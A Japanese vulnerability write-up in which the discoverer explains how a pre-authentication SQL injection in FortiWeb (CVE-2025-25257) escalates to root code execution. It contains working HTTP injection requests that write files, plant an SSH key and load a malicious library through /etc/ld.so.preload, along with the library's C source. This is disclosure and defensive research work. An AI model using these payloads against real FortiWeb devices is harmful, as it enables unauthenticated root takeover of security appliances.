
FortiWeb ゼロデイ脆弱性による認証前RCEを発見者が解説:CVE-2025-25257によるSQLインジェクション
こんにちは。アセスメントサービス部の川根です。
先日、FortiWebにおける認証前のSQLインジェクションの脆弱性(CVE-2025-25257)が公開されました。この脆弱性はCVSS3.1の基本値が9.8とされており、認証を必要とせずに悪用可能な深刻な脆弱性です。
FortiWebは、Fortinetが提供する商用のWebアプリケーションファイアウォール(WAF)で、SQLインジェクションやクロスサイトスクリプティングといった攻撃からWebアプリケーションを守ることを目的とした製品です。Fortinetといえば、ファイアウォールであるFortiGateが広く知られていますが、FortiGateがネットワーク境界のセキュリティを担当するのに対して、FortiWebはアプリケーション層の攻撃の対策に特化しています。
本記事では、FortiWebで発見した認証前のSQLインジェクションをリモートコード実行(RCE)にエスカレーションした方法を解説します。本記事はFortinetの許可を得た上で公開しています。また、本脆弱性はすでに弊社SOCのシグネチャとして取り入れられており、攻撃検知できる状態です。
認証前のSQLインジェクションの脆弱性(CVE-2025-25257)
FortiWebでは、管理インターフェース(Web UI)がデフォルトで8443番ポートにて公開されており、このポートに送信されたリクエストは、FortiWeb内の/bin/httpsdによって処理される仕組みになっています。このバイナリはApacheをカスタムビルドしたもので、ロードされているモジュールの一覧を見てみると、Fortinetが独自に開発したと思われるモジュールが組み込まれていることを確認できます。
# /bin/httpsd -M
Loaded Modules:
== 省略 ==
login_module (static)
logindisable_module (static)
logindisconnect_module (static)
logindisclaimer_module (static)
logout_module (static)
fabric_api_module (static)
fabric_device_status_module (static)
fabric_widget_module (static)
system_manager_module (static)
fwbcgi_module (static)
/bin/httpsdの解析を行っている際に、特定のリクエストパスの場合にだけ呼び出される関数である_fabric_access_check()を見つけました。この関数は以下のフローで動作し、Bearer認証によるトークンベースの認証機能を実装しています。
- apr_table_get()でHTTPリクエストのAuthorizationヘッダを取得
- __isoc23_sscanf()でBearerの後に続く最大128文字のトークンを抽出
- get_fabric_user_by_token()で抽出したトークンとDB内のトークンが一致するか検証
以下のコードは_fabric_access_check()をデコンパイルしたものを一部編集したものです。重要な部分にはコメントを追加しています。
char _fabric_access_check(long param_1)
{
// ...
// Authorizationヘッダの取得 (request_rec->headers_in)
uVar3 = apr_table_get(*(undefined8 *)(param_1 + 0xf8), "Authorization");
// "Bearer <token>" 形式でトークン部分を抽出
iVar2 = __isoc23_sscanf(uVar3, "Bearer %128s", local_a8);
if (iVar2 == 1) {
iVar2 = fabric_user_db_init();
if (iVar2 == 0) {
iVar2 = refresh_fabric_user();
if (iVar2 == 0) {
// トークンを検証
iVar2 = get_fabric_user_by_token(local_a8);
if (iVar2 == 0) {
iVar2 = update_fabric_user_expire_time_by_token(local_a8);
// 認証に成功した場合は0x02を返す
cVar1 = (iVar2 == 0) * '\x02';
return cVar1;
}
}
}
}
// ...
}
トークンの検証を行うget_fabric_user_by_token()を見てみると、snprintf()によりSQLクエリ文字列内にトークンをそのまま埋め込んでいることがわかります。その後、関数ポインタであるlocal_480(実体はexecute_sql())を呼び出し、生成されたSQLクエリを実行します。この処理は入力値の検証やエスケープが行われていないため、明らかなSQLインジェクションの脆弱性が存在します。AuthorizationヘッダのBearerトークンにSQLクエリ文字列を挿入することで、任意のSQLクエリを実行できそうです。
int get_fabric_user_by_token(char *param_1)
{
// ...
// DB操作を行うオブジェクトを初期化する
init_ml_db_obj(local_498);
// connect_db()
iVar1 = (*local_488)(local_498);
if (iVar1 == 0) {
// SQLクエリ文字列にトークンをそのまま埋め込んでいる
snprintf(local_438,0x400,"select id from fabric_user.user_table where token=\'%s\'", param_1);
// execute_sql() local_438をSQLクエリとして実行
iVar1 = (*local_480)(local_498,local_438);
}
// ...
}
認証機能にSQLインジェクションの脆弱性を見つけることができたので、実際にこの脆弱性を利用して任意のクエリが実行可能であるかを検証してみます。FortiWebでは複数のDBMSが動作していますが、この認証処理ではMariaDBが使われていました。MariaDBでは、INTO OUTFILEやINTO DUMPFILEなど、ファイル出力を伴うクエリがサポートされています。これらは、十分なファイルシステムの権限とFILE権限を持つユーザによって実行される場合に任意のファイルを書き込むことが可能です。
以下は、/tmp/pwnedに「GMO_Ierae_Here!」という文字列を書き込むSQLクエリを、Bearerトークンの値として挿入したHTTPリクエストの例です。トークンの抽出は_fabric_access_check()の中で__isoc23_sscanf()によって行われており、スペースや制御文字はトークンに含めることができません。そのため、挿入するSQLクエリ文字列ではスペースの代わりにMariaDBのコメント構文である/**/を使用して制限を回避しています。
POST /api/fabric/device/status HTTP/1.1
Host: fortiweb:8443
Authorization: Bearer x';SELECT/**/'GMO_Ierae_Here!'/**/INTO/**/OUTFILE/**/'/tmp/pwned
このリクエストを送信した後に/tmp/pwnedを確認すると、「GMO_Ierae_Here!」と書き込めていることがわかります。FortiWebではroot以外のユーザが存在せず、MariaDBのプロセスもroot権限で動作していたため、root権限での任意ファイル書き込みが可能でした。

任意のファイル書き込みをRCEにエスカレーション
SQLインジェクションを発見した認証機能である_fabric_access_check()は、FortiWebの一部の機能でのみ使用されており、WAFの管理機能など主要な機能は別の認証処理によって保護されています。そのため、このSQLインジェクションの脆弱性を悪用しても、FortiWebの管理者としてログインすることはできませんでした。しかし、認証されていない状態で任意のファイルを書き込むことが可能であるため、このファイル書き込みを悪用してRCEにエスカレーションする方法を模索することにしました。
INTO OUTFILEやDUMPFILEを用いることで、任意のファイルを書き込めることがわかっていますが、これには以下のような制約があります。
既存ファイルは上書きできない
INTO DUMPFILEやINTO OUTFILEは既存ファイルの上書きを許可しておらず、対象のファイルが存在する場合は書き込むことができません。
スペースや制御文字を含められない
Bearerトークンから文字列を抽出する処理には__isoc23_sscanf()が用いられており、%128sというフォーマット指定子が使われています。これは、最大128文字の連続した非空白文字列を読み取る指定であるため、スペースやタブ、改行などの制御文字が含まれた場合、それ以降の文字列は無視されてしまいます。
一度に挿入できるSQLクエリは128文字まで
トークンとして読み取られる文字列の長さは、%128sによって128文字に制限されています。これにより、一度に挿入できるSQLクエリの長さも最大128文字となり、複雑なクエリの埋め込みには工夫が必要になります。
root権限で任意のファイルを書き込めるとはいえ、これらの制約は少し厳しく、新規のファイルの作成のみでRCEを達成する必要がありました。ファイルの作成でRCEを行う場合、真っ先に考えられるのはcronジョブを利用して任意のコマンドを定期実行させる方法です。しかし、FortiWebではサーバ内の多くのファイルがカスタムされており、cronは動作しているものの、特定のファイルのみを設定ファイルとして読み込む仕様になっていました。INTO OUTFILEでは既存ファイルの上書きができないため、cronを悪用してコマンドを実行することは難しそうです。
次に考えたのがSSHの公開鍵を書き込むことで、外部からSSHでログインを試みる方法です。FortiWebでは22番ポートでsshdが動作しているのですが、sshdの設定ファイルである/etc/ssh/sshd_configを見つけることができなかったため、sshdもカスタムされていることが推測できました。ユーザのホームディレクトリも存在しておらず、公開鍵の書き込み先がわからないため、このファイルを解析してみます。
/bin/sshdの解析を進める中で、fill_default_server_options()という関数が見つかりました。これはsshdの設定を初期化するための関数であり、その中で公開鍵のファイルパスを設定する項目であるAuthorizedKeysFilesが以下のように定義されていました。
void fill_default_server_options(uint *param_1)
{
// ...
if (param_1[0x187] == 0) {
opt_array_append("[default]",0,"AuthorizedKeysFiles",param_1 + 0x188,param_1 + 0x187, "/data/etc/ssh/%u_authorized_keys");
opt_array_append("[default]",0,"AuthorizedKeysFiles",param_1 + 0x188,param_1 + 0x187, "/data/etc/ssh/authorized_keys2");
// ...
}
}
この設定から、カスタムされたsshdは以下のファイルを公開鍵として使用するようです。
・/data/etc/ssh/%u_authorized_keys
・/data/etc/ssh/authorized_keys2
このうち/data/etc/ssh/authorized_keys2はすでに存在しており、FortiWebのCLIにSSH接続する際の公開鍵認証に利用されています。そのため、新しい公開鍵は/data/etc/ssh/%u_authorized_keysに書き込むことにします。ここでの%uはユーザ名のプレースホルダであり、管理者アカウントであるadminとしてログインする場合は、ファイルパスが/data/etc/ssh/admin_authorized_keysとなります。
公開鍵のファイルパスが判明したので、実際にSQLインジェクションを使って公開鍵データを書き込んでみましょう。鍵はできるだけ短くするためにEd25519アルゴリズムを使って作成しました。SSHの公開鍵フォーマットは以下のように構成されます。フォーマット上、鍵の種類とBase64データの間に必ずスペースが必要ですが、前述の制約から、挿入するクエリにスペースは使用できません。
[鍵の種類] [Base64データ] [コメント(任意)]
公開鍵のデータをBase64エンコードするなどしてクエリにスペースを使わないように書き込む方法も考えられますが、一度に挿入できるSQLクエリの長さが128文字までに制限されています。そのため、スペースの代わりに$を使って公開鍵データを一時的に書き込み、後ほどスペースに置換するようにします。
以下は、スペースを$に置換した公開鍵データを/tmp/xに書き込むリクエストです。
POST /api/fabric/device/status HTTP/1.1
Host: fortiweb:8443
Authorization: Bearer x';SELECT/**/'ssh-ed25519$AAAAC3NzaC1lZDI1NTE5AAAAIGuuUDRijxCxoTBMO5CO+tSb8vok0O3mYvNwJUhD//FP'/**/INTO/**/OUTFILE/**/'/tmp/x
次に、LOAD_FILEを用いて/tmp/xに保存したファイルの内容を読み取り、文字列内の$をREPLACEでスペースに置換して、公開鍵のファイルパスである/data/etc/ssh/admin_authorized_keysに書き込みます。
POST /api/fabric/device/status HTTP/1.1
Host: fortiweb:8443
Authorization: Bearer x';SELECT(REPLACE(LOAD_FILE('/tmp/x'),'$',CHAR(32)))INTO/**/DUMPFILE/**/'/data/etc/ssh/admin_authorized_keys
以上の手順により、任意のSSHの公開鍵をFortiWebに設置することに成功しました。

これで、あらかじめ生成しておいた秘密鍵を使ってFortiWebのCLIにアクセスできるようになります。試しに「get system status」を実行してみると、FortiWebのシステム情報が表示されることを確認できます。

ダイナミック・リンカー・ハイジャックによるRCE
任意のファイル書き込みを利用してSSHの公開鍵を書き込み、SSHにログインすることでFortiWebの管理機能を操作できるようになりましたが、これは厳密にはRCEとは言い難いものでした。FortiWebに限らず、多くのネットワーク機器やセキュリティ機器は独自のCLIが用意されており、たとえログインできたとしても任意のコマンドやコードは実行できないように制限されています。調査の対象をCLIまで広げて権限昇格の脆弱性を探すこともできますが、既にroot権限でファイル書き込める状態であるため、これを直接RCEに変換する別の手法を探すことにしました。
Linuxシステムにおいて、root権限で任意のファイル書き込みが可能な場合、ダイナミック・リンカー・ハイジャック(Dynamic Linker Hijacking)という手法を使ってRCEを実現できる可能性があります。Linuxでは、環境変数のLD_PRELOADや/etc/ld.so.preloadにライブラリのパスを指定すると、プログラムの実行時に指定した共有ライブラリが優先的に読み込まれるという仕様があります。この仕様を悪用し、プログラムの実行時にロードされる共有ライブラリを悪意のあるライブラリに置き換えることで、任意のコードを実行する攻撃手法です。
FortiWebはLinuxをベースにしたOSで動作しているため、一般的なLinuxシステムと同様に、共有ライブラリの動的リンク処理が行われています。そのため、繰り返しSQLインジェクションを行い、悪意のあるライブラリをFortiWebに書き込んだ上で、/etc/ld.so.preloadを介してライブラリをロードさせることで、コード実行を狙うことが可能であると考えました。/etc/ld.so.preloadはデフォルトで存在しないファイルなので、INTO OUTFILEやDUMPFILEを使って書き込むことができます。
まず、コード実行が行われたことを確認できるように、idコマンドの出力結果を/tmp/rceに書き込む以下のライブラリを作成しました。__attribute__((constructor))は、共有ライブラリが読み込まれた直後に自動的に呼び出される関数を指定するためのGCCの機能です。この属性を使うことで、ライブラリがプログラムに読み込まれた瞬間に任意のコードを実行することができます。
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
__attribute__((constructor))
void init(void) {
if (access("/tmp/rce", F_OK) == 0) {
return;
}
pid_t pid = fork();
if (pid == 0) {
int fd = open("/tmp/rce", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) _exit(1);
dup2(fd, STDOUT_FILENO);
close(fd);
execl("/usr/bin/id", "id", NULL);
_exit(1);
} else if (pid > 0) {
waitpid(pid, NULL, 0);
}
}
作成したライブラリをコンパイルした後、分割して/tmp/rce.soに書き込みます。
手動で書き込むのは面倒なので、繰り返しSQLインジェクションを悪用して書き込むスクリプトを作成しました。このスクリプトは、Base64エンコードされたライブラリのデータを40文字ずつINTO DUMPFILEで一時ファイルに書き込み、LOAD_FILEで取得して連結しながら書き込みます。
# python3.9 exploit.py
1: f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAA
2: AABAAAAAAAAAAGg2AAAAAAAAAAAAAEAAOAAJAEAA
3: HAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4: AAAAAAAAOAYAAAAAAAA4BgAAAAAAAAAQAAAAAAAA
5: AQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAA
=== 省略 ===
522: AAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAA
523: AwAAAAAAAAAAAAAAAAAAAAAAAABzNQAAAAAAAPEA
524: AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
最終的に完全なデータはx524に書き込まれました。このデータをLOAD_FILEで読み取ってBase64デコードし、/tmp/rce.soに書き込みます。
POST /api/fabric/device/status HTTP/1.1
Host: fortiweb:8443
Authorization: Bearer x';SELECT/**/FROM_BASE64(LOAD_FILE('/x524'))/**/INTO/**/DUMPFILE/**/'/tmp/rce.so
続いて、/etc/ld.so.preloadに/tmp/rce.soと書き込み、プログラムの実行時にこの共有ライブラリが自動的に読み込まれるように設定します。
POST /api/fabric/device/status HTTP/1.1
Host: fortiweb:8443
Authorization: Bearer x';SELECT/**/'/tmp/rce.so'/**/INTO/**/DUMPFILE/**/'/etc/ld.so.preload
FortiWeb内部では繰り返しプロセスが生成されるため、/etc/ld.so.preloadに指定されたライブラリは時間の経過とともに自動的に読み込まれます。実際に、少し待つとidコマンドの出力が/tmp/rceに書き込まれ、FortiWebでRCEを行うことに成功しました。

さいごに
本記事では、FortiWebに存在した認証前のSQLインジェクション脆弱性(CVE-2025-25257)をroot権限でのRCEにエスカレーションした手法を解説しました。この脆弱性はFortinetにより既に修正済みであるため、脆弱なバージョンのFortiWebを利用している場合は速やかにパッチを適用することをお勧めします。
弊社では、豊富な診断実績と技術的知見に基づき、お客様のシステムやご予算、運用状況に応じた最適な診断プランをご提案しています。Webアプリケーション脆弱性診断をご検討の際は、ぜひお気軽にお問い合わせください。